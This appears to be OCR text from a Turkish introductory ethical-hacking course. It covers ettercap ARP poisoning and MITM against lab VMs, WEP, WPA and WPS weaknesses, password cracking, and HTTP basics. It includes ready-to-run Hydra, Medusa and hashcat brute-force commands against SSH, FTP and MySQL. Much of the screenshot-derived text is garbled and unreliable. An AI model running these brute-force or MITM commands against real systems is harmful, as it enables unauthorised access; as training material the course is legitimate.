ssiskrip-0.9

\;_iel:t EFCapy

1766 tep OS5 hl".g@lpllﬂdt

2182 known senices

Lua: no scripts were specified, not starting up!
Starting Unified snsffing...

Linfred sniffing akready started...
Randomizing 255 hosts for scanming..
Scanning the whole netmask for 255 hosts...

Fioixl

Cancel

af) O root 17:59, 2016-10-11

=
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“ - im0 E ettercap 0.8.2 17:59, 2015-10-11 [Ny i
* ot kali Uptime: Oh & l&s
'-'h";'l_u-‘ll'"'lrl'lr'.. MMz 2301 Lond: O0.89 2.36. 0.16
Tasks ] 135 cPua S% CPUL: 5%
- —ﬂ-ul_----; ! a .—J—LLF-;—
-~ =llerca X = AETEE RN

Start Loggng Plugins  |nfo
pycharm- scapy-2.3.2 Django-1.6
Enable IPwE scan
o ER Scanforhosts  Curi+s
;i = o u
Load f ] .1
D-TECT kaudanum... sslstrip-0.9

y Save to file S
> . E— "
; = e~ ﬁ!- a0 \\. e

phpshell-2.4 phishing.doc f

LY I ]
o

S TS 7

rS7.php slow.pl

2182 known sandces .
Lua: ne scripts were specified, not starting up!
Starting Unified sniffing...

Unified sniffing already started.
Randomizimg 255 hosts for scanning...
Scanning the whole netrmask for 255 hosts...
5 hosts added to the hosts list...
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" - im = ettercap 0.8.2 a§ I roor 17:59, 2015-10-11FY (=)

wifijamrme.,

Host Lest

C Addrass Description

S50:56:C0:00:08

=] -I:i’_r'!'- taudanemy... ss5|strip-0.9 S0:56:F3:5EF9

o " OC 25 FADDZA

- DCHIFFCSFTC

- ﬂ': 150:56:00:00:08

phpshell-2.4 phisk irng.doc ‘5056 ER:D38F
o
L-=3

rs7rs57.php &l v
Dealete Hast Add to Target 1 Add to Target 2

2182 known services
Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Unified sniffing already started

Randomizing 255 hosts for scanning..
Scanning the whola netrmask for 255 hosts...
5 hosts added to the hosts list, ..
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Wd [ roct 18:19, 2016-10-11 B

.
L
= ettercap 0.8 2 Gt oy
wifltfamnne o .
Start Targets Hosts Yiew Mitrn Biters Logging Plugins  nfo
Host: kali Uptime: Oh ll= 3%5s
Haost List
- IF Address Description MHZ: 2301 Load: 1.25, 0.94, 8
pre—— ; - i i Tasks: O 133 CPUB: 2% CPULl: Z%
pycharm-.. scapy-2.3.2 Django-l) [Je2/168.237.1 00:50:56:C0:00:08 |
192 168.237.2 00:50:56:F3SEFS \-u.__k.”d-h_u;_l- A..h....&h..u,l.
192.168.237.120 00:0C29FADD:2A
pa i Bl io:i6s237.032 oo DEEEER 2
L= A Tarc > MNAHE CPU
D-TECT laudarum,..  ssistrip-o.| (192.168.237.254 00 "':f:' el e attarcag 5.35
Dalete host Xarg 1
conky
sh ]
"4"1? Kworker /61 a_oo
- |4
phpshe phishing.doc RAM 14% -
Swap (L
-f" Delate Host Add to Target 1 Add to Target 2 reet 38% free 18.9GiB/ 28.26iB
Lua: no scripts were specified. not starting up! &
Starting Unified sniffing... Down:  LOIKIB & Up: OB L
Downloaded: F._& B Uploaded: 9T4dKiE
Linified sniffing already started... J [
Randomizing 255 hosts for scanning... L | F I |
Scanming the whole netmask for 255 hosts
% hosts added to the hosts list... Down aB KB/s Up: DB KB
Host 192,168.227.128 added to TARGET1 Downloaded: OB Uploaded: 0B
Inbound: 0 OQutbound: O Totak: @
Inbound Local Service/Port

Outbound Resmote Service/Port
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pycharm-...

O-TECT

phpshell-2.4

S Tr57.php

scapy-2.3.2

audanum,

w

[23

phishing.doc

slow.pl

Django-1.

sslstrip-0

Host List

IP Address MAC Address

192.168.237.1 00:50:56:C0:00:08
192.168.237.2 00:50:56:F3.SEFS
192.168.237.12% 00:0C 29 FADD2A
ASEERSIN g0 arget:

192.168.237 . ARG

Delete host

Lua: o Scripts were speciied. not starting up!

Starting Unified sniffing. ..

uUnified sniffing already started. ..
Randomizing 255 hosts for scanning

Scanning the whole netmask for 255 hosts...

5 hosts added to the hosts hst...
Host 192,168.227.120 added to TARGET1

Eilters

Description

ettercap 0.8.2

Logging  Plegins  nfo

Add to Target 1

Add to Target 2

Host: kali Uptime: Oh 1lm 47s

MHE: 2381 Load: 1.28, .96, @
3 CPUS: 3% CPUL

NAME CPU MEM
ettercap 5.95%
1.62
0.0
B2l T
VR ). O o.00
RAM 14 —
Swap o
raat 38 free 19. 9618/ 28.2GiE
Do = 64.2KiB KB Up: BB KB

Dounleaded Z.2THiIBE Upleaded: ST4KiB

Dewn: O8 KE/s Up: BB KE S
Downloaded: OB Uploaded: 08

Imbound: & Owtbound: @ Total: &
Inbouwnd Local Serwice/Part

Ot b nd Remate ServicesPart
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ettercap OCH. 2

i@

Start
L ! | Host List
12 Addrass &

pycharm-... scapy-2.3.2 Django-1. HosiiEa 3571 00:50:56:CK
192.168.237.2 O00:S0:56F:
192.168.237.128 DDIDC29H 0 mitm attackls)

152 .168.237.254 00:50:56:E68:93:8F

L

phishing.dos

- o TR =
= Delete Host Add to Target L
. -

STrs 7. php | owe. pl Starting Unified smiffing

Unsfiad sniffing already started.
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
S hosts added to the hosts lst..

Host 192.168.237.129 added to TARGET1
Host 152.168,237.132 added to TARGET2

Add to Target

Host: kali Uptime: Bh 12m 19s
MHz

Tasks .
_h_‘h__lA_l_u.._n. _'-__ih_n_l.u_.;
MAME HEM
ettercap 1.880
&h o.04

@

RAM 147  —

Swag [

root 38% free 10.9GiB, 28.2GiB
Dowm Up: BB

Do | s

Uploaded

Dowm &8 EB/s Up: BE ®E
Dowsloaded: 08 Uploaded: 08
Inbound: & Owtbound: 0 Total: &
Inbound Local Service/Port

OutBowmnd Resate ServicesPort
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L RN ettercap 0.8.2 4 [J root 18:20. 2016-10-11 BEq
= | __|
LS
p— - L]
Burp_sSuit PFOF willjannmme. . -
= Start Targets Hosts View Mitm Ehers Logging Plugins  nfo
Most: kali Uptime: On 1 233
Host List
- - - IF Address MAC Address Description MRX: 2301 Lomd: 1.08, 0.95. 0.56
Tasks: L 133 CPUd: 3% CPULl: 3

192.168.237.2
192.168.237.128 00:DC:29 FADD2A
e - B osiee297 192 ooncESFCERTC

pychamm-.... 'scapy-2.3.2 Django-1. YR EaoaFl D0S0:EE:C0:00:00 r | T i !
00:50:56:F3:5E:F9

optional parameters

= P - " - = % - = PID CPU MEM
D-TECT laudanum. sslstrip-0 192.168.237.254 00:50:56:E8-03:8F @ [Sriff ramota connections B56 6.18 2.40
3287 S .62 1.80
'{:'l!}- POISOM Orvd-way' 1 5 8586 0. 35
- 3286 a.o0 a.04
- W 1 18985 0.0 o.00
— Cancel ok
phpshell-2.4 phishing.doc RAM 1as, -
SwiEp 0%
“‘ Delate Host Add to Target 1 Add to Target 2 rest 38% free 10.9GiB/ 28.26iB
@ ¥ o
rs7rs7.php slow.pl Starting Unified snéfing... = 2
Down: 08 KBSz Up: 0B KB
Unified smiffing alreaady started Downlopded: Z_.Z2THIBE Uploaded: ST4KiB
Randomizing 255 hosts for scanning... |
Scanring the whole netmask for 255 hosts... 1
S hosts added to the hosts list..,
Host 192,168.237.129 added to TARGET1 Down: O8 KB/% Up: OB BB
Host 192,168.2237.1322 added to TARGET2 Downloaded: G5 Uploaded: 08

Inbound: 0 Outbound: O Total: &
Imbouwnd Local Serwice/Port

Outbound Remote Service/Part



Hacker 101 | Siber Guvenlige Giri

Arp Poisinig,MITM ve Ettercap Uygualamari :

pycharm-.

phpshe

scapy-2.3.2

phishing.doc

&leverpl

attercap 0.8.2

.

L

Django-1

s5lstrip-0.

Start fargets Hosts

Hast List Flu

! VErsion
pptp_clear 1.0
PRtp_pap 1.0
pptp_reneg 1.0
rand_flood 1.0

* remote browser 1.2
* reply_arp 1.0
repoisan_anp 1.0
SCAan_poisoner 1.0
search_promisc 1.2

smib_clear 1.0
smb_down 1.0
smurf_attack 1.0

ARP polsoning wictims:

&

etfercap 0.8.2

Mitm  Biters Logging Plugins  jnfo

Inifa

PRTP: Ties to force cleartest tunnel
PPTP: Forces PAP authentication
PRTP: Forces tunnel re-negotiation
Flood the LAM with random MAC addresses
Sends visited LRLs to the browser
Simple arp responder

Repoison after broadcast ARP
Actively search other poisoners
Search premisc MICs in the LAN
Thes to force SMB claartext auth

Tries to force SMBE to not use NTLM2 key auth

Fun a st attack against specihed hosts

GROUP 1 : 192 168.237.128 00:0C20:FADD 24

GROUP 2 : 192, 168.237.132 00:0C:28:FC:5FTC
Actheating remote_browser plugin...

Acthvating reply_arp plugin...

W) O root 18:21, 2016-

Host: kali

- MHEz: 2301
Tasks: O

133
u»ﬁh—-l-l..lui_udt— k-‘n*h-—LL-lh-.u-lﬂ-

4

o2

Uptime: Oh 12Zm 53s

Load: 1.12, ©0.97. @
33 CPUA: 1% CPUL

NAME CPU
ettercap .28
org 1
vatoolsd 0.5
sh 8.00
Bl I B 8:1 [ ]
RAH 1a% —

SwEp 0%

i rost 38% free i® GiB 2 26iB
Down: OB KBs/s Up: I9%B KE
Downloaded: ITHLE Uploaded: 9T5KLiE
Do o8 KBfs Up: OB KB
Downloaded: OB Uploaded: 08
Inbound: O Owtbownd: @ Totalk: &

Inbound

Outbound

Local Serwice/Part

Resmote Service/Port
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| Metasploitable2 - Linux

€ @ 192.168.237.129

N\ e ] *
FTT 1A T
B S, e
i

= |+
-~ 11 L | 11 11

LY O LAY Y R | AV

Y T T D I O I S R |
S O WO PO T, N | |

Warning: Newer expose this WM to an untrusted network!

Contact: esfdeviatlmetasploit.com

Login with msfadmin/msfadmin to get started

Metasploitablez - Linux - Mozilla Firefox

] =
- - Coogle

aa s + A

o) & Ty oco21 (D
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pamn Vulnerable web App (DVWA) - Login - Mozilla Firefox

i
x|\ *
| (B~ Google a &+ éa + #

J/ Damn Vulnerable Web ...

DVWA

4= | & 192.168.237.129/dvwa/login.php

Username

admin

Passweord
weenannd
Login

«1) 3 Ty oocza D

s 0 B T B BE Damn vulnerable...
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= Damn Vulnerable wWeb App (DVWA) v1.0.7 :: Welcome - Mozilla Firefox —
B pamn vulnerablew... x | +

*= & 192.168.237.129/dwvway ex.ph v | B~ Googls a &%+ B + w

= | Welcome to Damn Vulnerable Web App!

I Damn Vulnerable Web App (DVWA) s a PHP/WMySOQL web application that is damn vulnerable. 115 main goalks
—_— are to be an aid for security professionals (o test thelr skills and tooks in a legal environment. eldp wet

Setup I developers better understand the processes of securing web applications and add teachersfstudents to
teachilasarn web application Security’ in a class noom emiromnment

Brute Force WARNING!

Command Execution

Damn Vidnerable Web App is damn vulnerable! Do not upload it to your hosting providers public himi folder or

CSRE I amy iNlemet facing web Senser as it will be compromised. We recommend downioading and installing
onto a local machine inside your LAN which is used solely for testing.
Flle Inclusion | D lai
Isclaimer
SQL Inj |
SQL Injection (E1ined) | W do nod take responsibility for the way in which ammy one uses this application. We have made the purposes of
thee appication clear and it should not be used maliciousty, We have given wamings and taken measwures 1o
Uil oad I prevent users from installing DAWVWA on 1o Iive web servers. IT your web sener is compromised via an installaton
of DAWWAL L IS Mol our nesponsibility it is the responsibility of the parson’s who oploaded and installed it
| G [ | t ti
eneral nsiructions
XSS stored |
The help button allows you 1o view hitsitips for each wulnerability and for each security level on their nespective
 DVWA Security | e
PHP Info |
About |
== You have logged in as “admin’
Logout |

Usermame: admin
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" - EmEP*®0

L

i - .

Burp_Suit PDF wifijarmme
e .
scapy-2.3.2 Dyango=1.
e - |
D-TECT lawdanum. sslstrip-0 :
"

| e

phpshell-2.4 phishing.doc

N
<

rS7rss.php slowipl

art Targats

HOSLs

st List Plugins

MName
pptp_clear
PRtp_pap
PRIp_renag
rand_flood
remote_browser
reply_arp
Fepoison_arp
SCan_paisoner
search_prormusc
smb_clear

smb down
smurf_attack

Warsion

e e

W ODOMNOOOD

00D

o

Ar_Lluahr.a rqpl:,l_a.r_p plugin k

attercap 0.8.2

ditmn Blers  Logging

Plugins Iinfo

IATG

PPTRE: Trias to force cleartext tunnal

PPTP: Forces PAP authentication

PPTP: Forces tunnel re-negotiation

Flood the LAN with random MAC addresses
Sends visited URLs to the browser

Simple arp responder

Repoison after broadcast ARP

Actively search other poisoners

Search promisc MiCs in the LAN

Tries to force SMB cleartext auth

Tries to force SMB to not use NTLM2 key auth

REMOTE COMMAND: xdg-open http:f192.168.237.125)
REMOTE € OMMAND:

REMOTE C O MMA/

sdg-op
30

e http:
ey it

W192.168.237. 126/ /dvwa/

BEMOTE COMMAMND: xdg-ocpen http:j182.168.237 . 129 /dvwwajindex.php

ad [ root 18:22, 2016-10-11 a =
P |

Host: kalil Uptims: Oh 13m 57s

s HHz: 2301 Load: 1.861, 0.989. &.8&2

i

Tasks: @ ‘153 CPUB: 4% CPUL

L.h_lu_u.u_..l..i I_.h_l._.n_uu_n.l.ul

NARE FID CFU
ELtErcaAp 3zar 3.72
Xerg B56 1.06
b 3286 .30
Ewsrker/8:1 2985 o.8n
Ewiorker /08 2432 0. o0
FAR 14% —
SuEp 0% I
o reet 38% free 19.9Gi8/ 28.2GiB
-~
Dizwimi @ 2498 KB/ Up: OB

Dewnlonded: I.29MiB UplLeaded:

Dewi o8 KB/ & Up: oB EB/S%
Dewnloadad: 0B Upleaded: 03

Inbound: @ OQOutbound: @ Tatal: @
Imbound Local Service/Part

Dutbound Remcote ServicesFert
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Kablosuz Aglar Nasil Calisir :
Kablosuz ag baglanti noktalari kiiguk radyo dalgalari Ureten sistemlerdir.
WiFi standartlari ¢esit ve 0zelliklerine gore 802.11a, b,g ve n olarak ayrilmisglardir.

Bunlardan en yaygin olarak kullanilani 802.11b’dir ve 2.4GhZ'lik yayilma araligina
sahiptir. Ancak 802.11b ile en fazla 11 Megabit’lik baglanti kurabilmek
mumkundur.

Oysa 802.11g ile saniyede 54 Mbit, 802.11n ile 140 Mbit'lik hizlara ulasmak
mumkundar.
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Kablosuz Aglar Nasil Calisir :

Neredeyse tum pclerin Uzerlerinde entegre Wi-Fi alicilari bulundururlar.
Bulunmayanlar ise PCMCIA kartlarla bu ozelligi kolayca kazanabilirler.

Kablosuz ag sistemleri radyo frekanslari ile calismaktadirlar.
Radyo dalgalari ile haberlesme Ug¢ cesit olabilmektedir.

Bunlar alici(receiver), verici(transmitter) ve alici-verici(trans-receiver) olarak
adlandirilirlar.
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Kablosuz Aglar Nasil Calisir :

Alicilar : Adindan da anlasilabilecegi Uzere sadece radyo sinyallerini alabilen fakat
gonderme 0Ozelligi barindirmayan aygitlardir.Bunlara en basit ornek olarak FM
radyolari ve televizyonlari gosterebiliriz.

Vericiler : Sadece radyo sinyalleri gonderebilen ama alma yetileri olmayan
elektronik devrelerdir. Bunlara ornek olarak radyo verici istasyonlari, televizyon verici
Istasyonlari vb. sayilabilir.

Alici-Vericiler : Hem alma hem verme ozellikleri olan aygitlardir. Bunlara ornek
olarak telsiz roleleri, cep telefonu baz istasyonlari, cep telefonlari vb. sayilabilir.
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1. Tek Yonlii iletim(Simplex): Kurulan iletim sistemin de iletimin sadece bir yone
yapilabildigi zaman aldigi addir. Ornek olarak FM radyolar gosterilebilir.

2. Cift Yonlii Es Zamansiz iletisim(Yari-Dupleks, Half-Duplex): Kurulan iletim
sisteminde cift yonlu iletim yapilabildigi ancak es zamanl olarak sadece bir tarafin
gbnderim yapabildigi sistemlerdir. Ornek olarak Telsiz uygulamalari gosterilebilir. Bilgi
sistemlerinde kullanilan radyo frekansi ile calisan kablosuz iletisim sistemleri genelde
bu tiptedir. Ornegin IEEE 802.11g standardi 54 Mbps’de Yari-Dupleks iletim imkani
sunar.

3. Cift Yonlii Es Zamanli iletisim (Tam-Dupleks,Full-Duplex): Hem alici hem
vericinin eszamanli iletim yapabildigi zaman aldi§i isimdir. Ornek olarak cep

telefonlari, telsiz telefonlar gosterilebilir.
s



Hacker 101 | Siber Guvenlige Giris
Kablosuz Aglar Nasil Galisir : KABLOSUZ AG GUVENLiGi

Yeni kablosuz ag teknolojisi ise WiMAX'tir.

Calisma prensibi standart kablosuz ag sistemleriyle aynidir fakat ¢ok guclu
mikrodalga iletimiyle sinyalleri daha uzak mesafelere tagiyabilmek mumkundur. Bu
sayede birim metrekarelik alan icin gereken kablosuz ag noktasi maliyeti dugsmekle
beraber sinyal kalitesi de arttirilmig olmaktadir.
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WiFi Sifreleme Standartlari:

Wi-Fi aginizin guvenligini saglamak igin ortaya ¢cikmis sifreleme yontemleri vardir,
bu sifreleme iyontemleri WEP, WPA, ve WPA2 dir.

Bir sonrakinin ¢ikis amaci bir oncekinde bulunan guvenlik agigi,yeterli givenli
olmamasindan kaynaklanmaktadir.
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Wired Equivalent Privacy (WEP), dunyada en ¢ok kullanilan Wi-Fi guvenlik
algoritmasi. Bunun sebebi ise, geriye uyumlulugu ve birgcok router'in kontrol
panelinde ilk sirada yer almasi.

Wired Equivalent Privacy (WEP) :

WEP 64-bit olarak ¢ikti fakat sonra 128-bit'e ¢ikarildi. Gunumuzde 256-bit WEP
sifrelemesi mevcut olsa da, 128-bit sifreleme halen en yaygin olarak kullanilan.

Algoritmadaki bir gok duzeltmeye ve arttirilan anahtar boyutuna ragmen, WEP
standardinda zaman icinde bircok glivenlik acigi kesfedildi.Ucretsiz araclar ile
kolaylikla kiralabilmeltedir.(Aircrack vb.) WEP 2004 yilinda resmi olarak bitirildi.
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Wi-Fi Protected Access (WPA) :

Wi-Fi Protected Access, Wi-Fi Alliance'in glvenlik aciklari gitgide artan WEP'e
alternatifidir.2003 yilinda ¢cikmistir.

En yaygin olan WPA konfigurasyonu, WPA-PSK (Pre-Shared Key).

WPA'da kullanilan anahtarlar 256-bit, ve bu WEP sisteminde kullanilan 64-bit ve
128-bit anahtarlara gore 6nemli bir gelisme.

Temporal Key Integrity Protocol (TKIP). TKIP, paket basina anahtar sistemiyle,
WEP'te kullanilan sabit anahtar sisteminden ¢ok daha guvenli. TKIP de daha

sonralarda Advanced Encryption Standard (AES)'in golgesinde kaldi.
s
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Wi-Fi Protected Access (WPA) :

WPA sisteminin kirilmasi daha ¢ok WPA algoritmasina direk bir saldiriyla degil,

aygitlar birbirine baglamayi kolaylastirmak amaci tasiyan Wi-Fi Protected Setup
(WPS)'In araciligiyla yapilmasi.
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WPS :

"Wi-Fi protected setup” (WPS), tecribesiz kullanicilarin router ile diger trunlerini
kablosuz olarak kolayca baglamalarini saglayan bir sistemdir.

WPS destekli router'larin arka tarafinda 8 haneli bir kod bulunmaktadir.

Kablosuz aginiza ornegin bir laptop bagladiginizda bu 8 haneli PIN kodunu
girmeniz gerekir.
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WPS ACIKLIGI :
Normal sartlarda 8 haneli bir PIN kodunu kirmak, 6 yil surebilir.

Zira kodun 3 kez ust Uste yanlis girilmesi, router'in 60 saniye sizi bekletmesiyle
sonuclanir.

WPS guvenligi, 8 haneli guvenlik kodunu 4 haneli 2 gruba ayirmaktadir.Birinci
grup 4 haneli sifre dogru girilirse router dogru diye deger donduruyor.

Bu olay sayesinde 8 hane yerine 4 hane atagi yapiyoruz.6 yillik sure 1 gune
dusuyor.3 yanlhis denemede bekletme yoksa bu sure dahada kisalmakta.
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Wi-Fi Protected Access Il (WPA2)

2006'ya geldigimizde, WPA2, WPA'nin resmi olarak yerine gecti. WPA ve WPA2
arasindaki en onemli degisikliklerden biri, AES algoritmalarinin zorunlu kullanimi
ve CCMP (Counter Cipher Mode with Block Chaining Message Authentication
Code Protocol)'nin, TKIP'In yerini almasi oldu.

Fakat TKIP, WPA ile birlikte ¢alisabilmek icin hala tutuluyor)
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Wi-Fi Protected Access Il (WPA2)

WPA'nin zirhindaki en buyuk delik, Wi-Fi Protected Setup (WPS) araciligiyla
erisilebilen "saldir1 vektord", WPAZ2 kullanan erisim noktalarinda da varligini
surddrayor.

Bu savunmasizhigi kullanarak bir WPA/WPAZ2 agina izinsiz girmek, modern bir
bilgisayarla 2-14 saatlik surekli bir efor gerektiriyor fakat, yine de bu cok énemli bir
guvenlik acigi ve WPS devre digi birakilmali.
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Password Cracking

Password Cracking : Parola Kirma

Encryption(Sifreleme): Gizlenmek istenen bir bilginin (metin, fotograf, ses kaydi,
kisisel bilgiler vb.) bir algoritma yardimiyla bir bagkasi tarafindan okunmasini ya
da degistiriimesini engellemek icin veri Uzerinde yapilan isleme sifreleme denir.

Sifre kirmak igin brute force (kaba kuvvet) yontemi kullaniriz.Bu yontem deneme
yanilma yontemidir.Elimizde bulunan sifreleri yada hashleri araclarla deneyerek
bulma yontemidir.

Elimizde bulunan sifrelere wordlist denir.Hazir wordlistler oldugu gibi Crunch gibi
araclar ile kendi wordlistimizide olusturanbiliriz.
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Eil= Edit Search Help
Crunch |5

: 1# crunch a4 a
ch will rnow generate the f

¢« generate the following number

pleted generating output

Kali Linux'un icinde gelen guzel wordlistlere /usr/share/wordlists/ dizininden
ulasabilirsiniz.
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= Al 2 n a M wordlists - File Manager

5 - wordlists - File Manager
- FEile Edit wiew Go Help
Django-1.6

™ jusrisharefwordlists/
Open Parent Home

DEVICES .

pycharm-... . .

2.' Floppy Disk dirbuster metasploit metasploit-jtr seclists

PLACES

Desktop 10k _rmost_comm - fasttrack.txt nmap.lst rockyou.txt

Trash S

Downloads
WMShare

T™MP rockyou.txt.gz sglmap . txt termineter.txt

wifijamme...

Kali Tools
Tools
SRC

FTP

wordlist Samba

IGETE:

=
w
|
|
|
|
|
|
|
|

~ 15 items (204.5 ME), Free space: 12.7 GB

Outbound Remote Service/Port
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Hash ve Rainbow Table

Hash Fonksiyonlari:

Hash fonksiyonlari matematiksel olarak geri dondurulemez tek yonludur.

Amaci bir degerin hashi alindiginda bunun essiz olmasi baska bir degerde bunu
uretmemesi gerekir.

MD5,SHA1 vb hash fonksiyonlari bulunur.
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function md5() function md5()
Online generator md5 hash of a strir Online generator md5 hash of a string
md5 ( ahmet | ) md5 ( [a | )
| hash darling, hash! | | hash darling, hash! |
md5 checksum: md5 checksum:
cdb5efcc72196c1bdahT7a594b46b 445 0cc175b9c0f1b6a831c399e269772661
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Rainbow Table :

Rainbow table, bir string ve onun hashi karsiligi eslesmelerinden olusan bir
tablodur. Hash crack igslemi sirasinda, normalde denenecek string hashlenir ,
hashler karsilastirilir ve deneme bir sonraki deneme stringi ile ayni sekilde devam
eder. Bu yontem islem zamani agisindan verimsizdir.

Bu yuzden rainbow tables (onceden olusturularak) crack sirasinda kullantlir.
Kirilacak hash ile rainbow tabledan alinan hash karsilastirilir, eslesen hash
bulundugunda string karsiligi rainbow table da zaten belli oldugu igin parola daha
hizli bulunur. Tabiki bu hizin bize maliyeti ise bellek alanidir.
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Hash ve Rainbow Table

Occ175b9c0f1bBalilc399e2697 72661
auto

decrypt

Result:

[Add Comments]
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Password Cracking Tools :
John The Ripper

Hashcat

Aircrack

Cain & Abel

Hydra

Medusa *** Bu araglar ile Password Cracking yapilabilmektedir.
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Medusa ile Mysql Brute Force:

medusa -h HEDEF _IP -u root -P /wordlist_path -M mysq|
Hydra ile SSH Brute Force

hydra -l username -P /wordlist_path ssh://HEDEF IP
Hydra ile FTP Brute Force

hydra -l username -P /wordlist_path ftp://HEDEF IP
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Password Cracking
John The Ripper Hash Cracking

john --format:raw-md5  kirilcakhash.txt --show
Hashcat ile Hash Cracking

hashcat -m 0 -a O kirilcakhash.txt wordlistimiz.txt
-m : Hash tipi 0 md5

-a . Saldir yonetemi direk saldir



e ¥ ks o —————— ¥ T = L §
001 { O 1# hashcat -m © -a @ hash.txt susr/share/wordlists/rockyou.txt
[nitializing hashecat v2.00 with 1 threads and 32mb segment-size...

Added hashes from file hash.txt: 3 (1 salts)
=] Dadec2049ba59abbesEe 057 20T 8832 1 123456
EdAla0Zabcabza7ebo719d911017c592 hello
212321 207a57a35a74380430eda801fc2 admin

hashes have been recovered

[hnput.Mode: Dict Jus f hqreﬁwordlistsfrock 0] 9 e o |
: IB27022 (words), 33550339
salts
words
.555%)

stimated. :

Started: Mon
Stopped: Mon
[root:
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Web Uygulama Guvenligi
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Web Uygulamalan :
1- PHP

2- Servlet,JSP,JSF
3- Asp.Net

4- Django

5- Ruby on Rails
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HTTP (HyperText Transfer Protocol) Web UygUIama Gijven ligi

e HTTP yani HiperMetin Yollama Protokoll ilk basta HTML sayfalari yollamak i¢in yazilmis olan bir
protokol olup gunumuzde her turll verinin gonderimi igin kullanilir. TCP Uzerinden c¢alisir.

e HTTP oturumunun baslamasi icin, 3lu el sikismanin client ve server arasinda tamamlanmasi
germektedir.

NOT: HTTP Metodlari ve HTTP Durum kodlari Guvenlik icin dnemlidir.

Metodlar: Get,Head,Put,Post,Trace,Delete,Connection,Options

Durum Kod: 1xx :Bilgi 2xx Basari 3xx :YOnlendirme 4xx :Tarayici Hatasi 5xx : Sunucu Hatasi
HTTPS (Secure HTTP )

e HTTPS yani Guvenli HTTP , HTTP'nin RSA sifrelemesi ile guglendirilmis halidir. TCP Uzerinden
cahlisir. Kredi karti,sifre vb. gizli bilgilerin iletiimesinde kullanilir.
S


https://tr.wikipedia.org/wiki/HTML
https://tr.wikipedia.org/wiki/HTTPS
https://tr.wikipedia.org/wiki/HTTPS
https://tr.wikipedia.org/wiki/RSA

Hacker 101 | Siber Guvenlige Giris
Web Uygulama Guvenligi

HTTP METODLARI :

GET Metodu

GET metodu sunucudan dosya/veri almak i¢in kullanilir. Bunun disinda sunucuya veride
gonderilebilir.

POST Metodu

Sunucuya veri gondermek igin kullanilir. Fakat burada veriler url kisminda degilde body kisminda
gonderilir. Bundan dolayi tarayicida gonderilen degerler gorilmez.Proxy ile araya girerek bu
degerleri degistirmek mumkundur.
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HTTP METODLARI :

PUT Metodu

Sunucuya veri gondermek i¢cin ama gonderilen veriler ile bir dosya yaratmak icin kullanilir
TRACE Metodu

Sunucuyu kontrol amach kullanilabilir.

OPTIONS Metodu

Sunucunun hangi metodlari kabul ettigini 6grenmek i¢in kullanilir.
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HTTP METODLARI :
DELETE Metodu
Sunucuda ki kaynagi silmek igin kullanilir.

CONNECTION Metodu

Suncuyu proxy gibi kullanabilmemizi saglar. Yani sunucunun bagka bir sunucuya istek yapmasini
saglayabiliriz.
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Cookie :

Cerez (cookie), herhangi bir internet sitesi tarafindan bilgisayara birakilan bir tiir
tanimlama dosyasi.

Cerez dosyalarinda oturum bilgileri ve benzeri veriler saklanir.

Cerez kullanan bir site ziyaret edildiginde bu site, erisimin yapildigi tarayiya sabit
diske bir ya da daha fazla cerez birakma konusunda talep gonderebilir.
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Cookie :

(1) HTTP Request

|

{2) HTTP Response + Set-Cookies

|

(3) HTTP Request + Cookies

|

(4) HTTP Response

HTTP Clients —
(Web Browser) HTTP Server (Web Server)
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Cookie Cesitleri :
Cookie (cerez) genel bir ifadedir ve cerezlerin birden ¢ok tura vardir.

Aklimiza kazinan cookie'nin dogru tanimlamasi "persistent cookie" veya
"permanent cookie" dir.

Session'in dogru tanimlamasi "session cookie" veya "transient cookie" dir. iste bu
2 tanimlama aslinda cerezin trleridir.

Diger cerez turleri ise "Secure cookie", "HttpOnly cookie", "Third-party cookie",
"Supercookie" ve "Zombie cookie" dir.
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Cookie Cesitleri :
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Proxy Nedir?

Proxy, ya da Turkce adiyla vekil sunucu, internete erisim sirasinda kullanilan bir
ara sunucudur. Bu durumda, 6rnegin bir ag sayfasina erisim sirasinda dogrudan
baglanti yerine:

Tarayici vekil sunucuya baglanir ve hangi sayfayi istedigini soyler
Vekil sunucu gerekiyorsa o sayfaya baglanir ve icerigi alir

Vekil sunucu tarayiciya igerigi gonderir
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Fazladan hiz: vekil sunucu, ¢ok ziyaret edilen sayfalari 6nbellegine alabilir. Bu durumda, o
sayfa ziyaret edilmek istendiginde dunyanin obur ucundaki bir sunucuya baglanmak yerine
onbellekteki bilgi okunur.

Fazladan kontrol: vekil sunucu, istenen sayfalara erisim verip istenmeyenlere erigim
vermeyebilir. Kimin hangi sayfaya girdigini bellekte tutabilir. Gerekiyorsa, icerigi degistirerek
verebilir.

Fazladan glivenlik: vekil sunucu, viruslu dosyalari otomatik olarak temizleyebilir. Ayrica,
agda hi¢ kimsenin Internet'e dogrudan erisimi olmadig! igin bir viriisii veya zararli bir
programi yayma ihtimalini de azaltir.

Genelde Internet servis saglayicilar, sirketler ve biylk aglar (kampus aglari gibi) tarafindan

kullanilir.
s
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Burp Suite - Web Proxy Web Uygu[ama Gumve><n|_|§|

‘a Burp Suite Free Edition v1.7.03 - Temporary Project —

Burp Intruder Repeater Window Help

[Targe‘t LMJ Spider T Scanner T Intruder T Repeater TSeque.ncar TDBODCIEF TCmnnarer TEx:te.ru:le‘r TPrDij options T User options Tﬁderts ]

[ Intercept T HTTP history T WebSockets history m_]

;. -
? Proxy Listeners
[E] Burp Proxy uses listeners to receive incoming HTTP reguests from your browser. % ou will need to configure vour browser to use one of the listeners as its proxy Server.
[ Aga | [Running | interface | Invisible | Redirect Certificate
= 127.0.0.1:8020 (=] Per-host
Edit
Remowve L g /

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. vou can import or export this certificate for use in other to
another installation of Burp.

[ Import / export CA certificate J [ Regenerate CA certificate J

Intercept Client Requests

Use these settings to control which reguests are stalled for viewing and editing in the Intercept tab.

BE

& Intercept requests based on the following rules:

[ Aga | |Enabled | operator | Match type Relationship | condition
—_— (] File exten=sion Does not match " gifSi"jpgSi pngSitces S s SiticoS)
Edit = Or Reqguest Containg parameters
—_— = or HTTP method Does not match (getipost)
Remove = And URL s in target scope b

Up
s

[T
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Burp Suite - Web Proxy Web Uygulama Guvenl

=Y

Bosya Doazen Goronom  Gecrmig Yepimlen Nardim = b4
£k Secenekler X SR
€ ) Firefox | aboutpreferences#advanced c Q Arama w B +$ # |- S5 ® B =
Baglanti Ayarlan = ~
m = 5 internete erigmek igin vekil sunuculan yapilandir
ene m
Gel!§ I§ () Vekil sunucu yok
q i () Bu agin wekil sunucu ayarlanni kendiliginden tan
